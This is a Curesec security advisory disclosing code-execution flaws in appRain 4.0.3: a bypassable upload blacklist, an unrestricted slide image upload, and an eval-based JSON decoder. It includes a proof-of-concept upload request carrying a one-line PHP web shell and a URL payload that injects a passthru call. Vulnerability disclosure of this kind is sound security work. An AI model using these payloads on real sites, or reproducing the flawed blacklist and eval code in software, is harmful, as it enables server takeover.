appRain 4.0.3 Code Execution
Posted on 10 December 2015
Security Advisory - Curesec Research Team 1. Introduction Affected Product: appRain 4.0.3 Fixed in: not fixed Fixed Version Link: n/a Vendor Website: info@apprain.com Vulnerability Type: Code Execution Remote Exploitable: Yes Reported to vendor: 10/02/2015 Disclosed to public: 12/02/2015 Release mode: Full Disclosure CVE: requested, but not assigned Credits Tim Coen of Curesec GmbH 2. Overview appRain is described as a Content Management Framework written in PHP. There are various components of appRain 4.0.3 that should not provide the possibility of code execution or arbitrary file upload but do allow it. All of these issues are by default present in the admin area. It should be noted that admins already have code execution via a designated PHP file editor. Still, the code of appRain is explicitly intended to be extended by its users, which means that components such as a seemingly secure file uploader, an image uploader, or a function decoding json should not lead to code execution. 3. Unrestricted Upload of File with Dangerous Type 1 CVSS High 9.0 AV:N/AC:L/Au:S/C:C/I:C/A:C Description The file upload uses a blacklist for the file extension to forbid the upload of files with dangerous type. The disallowed extensions are: php,php3,php4,exe,pl,py,bat,sys,dev,sh However, files that can be uploaded and that also lead to code execution are .htaccess, as well as files with extension pht, php5, and phtml. The file upload can be found here: http://localhost/apprain/admin/filemanager An admin account is required to use the file manager. It should be noted that an admin already has code execution via the designated PHP file editor. Still, this is an access violation in the context of this component and will also be an issue if users reuse the varifyFileName function in different contexts, which is to be expected. Code /development/controllers/admin.php if(!App::Module('Filemanager')->varifyFileName($this->data['filemanager']['image']['name'])){ App::Module('Notification')->Push("File({$this->data['filemanager']['image']['name']}) is restricted to uploaded.","Error"); App::Config()->redirect("/admin/filemanager/upload"); } else { $path = App::Config()->filemanagerDir(DS); $data = App::Utility()->upload($this->data['filemanager']['image'],$path); App::Module('Notification')->Push("File({$data['file_name']}) uploaded successfully."); App::Config()->redirect("/admin/filemanager"); } /apprain/base/modules/filemanager.php public function varifyFileName($filename){ $restrictedExt = explode(',',app::__def()->sysConfig('FILE_MANAGER_RESTRICTED_EXT')); return !in_array(App::Utility()->getExt($filename),$restrictedExt); } /development/definition/system_configuration/config.xml: <value><![CDATA[php,php3,php4,exe,pl,py,bat,sys,dev,sh]]></value> 4. Unrestricted Upload of File with Dangerous Type 2 CVSS High 9.0 AV:N/AC:L/Au:S/C:C/I:C/A:C Description When creating a new slide, the label suggests that only images with extensions "*.jpeg, *.gif" may be uploaded. However, arbitrary files can be uploaded, including .php or .pht files. An admin account is required to create new slides. It should be noted that an admin already has code execution via the designated PHP file editor. Still, this is an access violation in the context of this component and may also be an issue if users reuse the involved functions in different contexts. Proof of Concept POST /apprain/information/manage/appslide/add HTTP/1.1 Host: localhost Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: PHPSESSID=4d7rqc7hj3ej5j403nf4ktmq42 Connection: keep-alive Content-Type: multipart/form-data; boundary=---------------------------418924992299141519661615194 Content-Length: 1178 -----------------------------418924992299141519661615194 Content-Disposition: form-data; name="data[Option][title]" test -----------------------------418924992299141519661615194 Content-Disposition: form-data; name="data[Option][image]"; filename="test.pht" Content-Type: application/octet-stream <?php passthru($_GET['x']); -----------------------------418924992299141519661615194 Content-Disposition: form-data; name="data[Option][description]" <p>test</p> -----------------------------418924992299141519661615194 Content-Disposition: form-data; name="data[Option][status]" Active -----------------------------418924992299141519661615194 Content-Disposition: form-data; name="Button[button_save]" Save -----------------------------418924992299141519661615194 Content-Disposition: form-data; name="data[Information][id]" -----------------------------418924992299141519661615194 Content-Disposition: form-data; name="data[Information][type]" appslide -----------------------------418924992299141519661615194 Content-Disposition: form-data; name="data[Information][page]" -----------------------------418924992299141519661615194-- 5. Possibly Code Execution CVSS High 7.6AV:N/AC:H/Au:N/C:C/I:C/A:C Description appRain is described as "Content Management Framework", and as such, it is to be expected that public functions are reused in different contexts and should thus be secure. If the function to decode json is used as described in the documentation, it will be unsecure if user input is passed to it, which is a likely scenario. This is also how it seems to be used by deletegroupAction, which is currently not used anywhere. If a user actually uses either of these functions, the code would likely be vulnerable. Proof of Concept Use the function, for example by adding the following to app.php: $data = App::Module('Cryptography') ->jsonDecode('{"status":"Success","message":"' . $_GET['x'] . ' Updated successfully"}'); pre($data); Now an attacker can gain code execution: http://localhost/apprain/?x=");passthru("touch 'test.php'");$y=array("x"=>" Code /apprain/base/modules/cryptography.php public function jsonDecode($json) { // Author: walidator.info 2009 $comment = false; $out = '$x='; for ($i = 0; $i < strlen($json); $i++) { if (!$comment) { if ($json[$i] == '{') { $out .= ' array('; } else if ($json[$i] == '}') { $out .= ')'; } else if ($json[$i] == ':') { $out .= '=>'; } else { $out .= $json[$i]; } } else { $out .= $json[$i]; } if ($json[$i] == '"') { $comment = !$comment; } } eval($out . ';'); return $x; } 6. Solution This issue was not fixed by the vendor. 7. Report Timeline 10/02 Informed Vendor. Mailbox info@apprain.com is full, used /2015 security@apprain.com instead (no reply) 10/21 Reminded Vendor of Disclosure Date /2015 10/21 Vendor anounces fix for 11/02/2015 /2015 11/04 No fix released, extended public disclosure date to 11/11/2015 /2015 11/17 CVE Requested (no reply) /2015 11/24 Reminded Vendor of release date, extended date to 12/02/2015 and offered /2015 extension if needed (no reply) 12/02 Disclosed to public /2015 Blog Reference: https://blog.curesec.com/article/blog/appRain-403-Code-Execution-111.html -- blog: https://blog.curesec.com tweet: https://twitter.com/curesec Curesec GmbH Curesec Research Team Romain-Rolland-Str 14-24 13089 Berlin, Germany